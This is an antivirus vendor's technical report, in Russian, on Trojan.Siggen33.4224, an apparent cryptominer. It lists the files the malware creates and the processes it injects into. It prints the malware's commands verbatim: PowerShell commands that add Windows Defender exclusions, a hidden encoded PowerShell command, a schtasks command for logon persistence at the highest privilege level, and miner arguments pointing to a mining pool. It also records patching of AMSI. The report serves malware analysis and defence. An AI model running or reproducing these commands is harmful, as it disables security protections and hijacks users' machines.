Trojan.Siggen33.4224

Техническая информация

Для обеспечения автозапуска и распространения

Создает или изменяет следующие файлы

<SYSTEM32>\tasks\services64

Вредоносные функции

Для затруднения выявления своего присутствия в системе

добавляет исключения антивируса:

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"

Внедряет код в

следующие системные процессы:

%WINDIR%\explorer.exe
<SYSTEM32>\conhost.exe

Патчит код

в динамической библиотеке

Процесс conhost.exe, модуль Wldp.dll

в динамической библиотеке AMSI

Процесс conhost.exe, модуль Amsi.dll

Изменения в файловой системе

Создает следующие файлы

%TEMP%\update.exe
%TEMP%\elysiumexefree[0.6].exe
%TEMP%\guardian_src_737dccf5a35641aab29474f1a130c4b5.cs
%TEMP%\csc3fea3b19f4ed470cb42ae8801bce2fd.tmp
%TEMP%\res7e73.tmp
<SYSTEM32>\services64.exe
%LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\conhost.exe.log
<SYSTEM32>\microsoft\libs\sihost64.exe
<SYSTEM32>\microsoft\libs\wr64.sys

Удаляет файлы, которые сам же создал

%TEMP%\res7e73.tmp
%TEMP%\csc3fea3b19f4ed470cb42ae8801bce2fd.tmp
%TEMP%\guardian_src_737dccf5a35641aab29474f1a130c4b5.cs

Другое

Создает и запускает на исполнение

'%TEMP%\update.exe'
'%TEMP%\elysiumexefree[0.6].exe'
'<SYSTEM32>\services64.exe'
'<SYSTEM32>\microsoft\libs\sihost64.exe'

Запускает на исполнение

'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAGYAawBzACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHcAYQBsACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwA... (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /target:exe /out:"%TEMP%\ElysiumExeFree[0.6].exe" "%TEMP%\guardian_src_737dccf5a35641aab29474f1a130c4b5.cs"
'%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7E73.tmp" "%TEMP%\CSC3FEA3B19F4ED470CB42AE8801BCE2FD.TMP" (со скрытым окном)
'<SYSTEM32>\conhost.exe' "%TEMP%\Update.exe"
'<SYSTEM32>\cmd.exe' cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command...
'<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "<SYSTEM32>\services64.exe"
'<SYSTEM32>\schtasks.exe' /create /f /sc onlogon /rl highest /tn "services64" /tr "<SYSTEM32>\services64.exe"
'<SYSTEM32>\cmd.exe' cmd /c "<SYSTEM32>\services64.exe"
'<SYSTEM32>\conhost.exe' "<SYSTEM32>\services64.exe"
'%WINDIR%\explorer.exe' --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=ru.hashvault.pro:443 --user=8BEWfuRJwd...
'<SYSTEM32>\conhost.exe' "/sihost64"
'%TEMP%\update.exe' (со скрытым окном)
'%TEMP%\elysiumexefree[0.6].exe' (со скрытым окном)
'<SYSTEM32>\microsoft\libs\sihost64.exe' (со скрытым окном)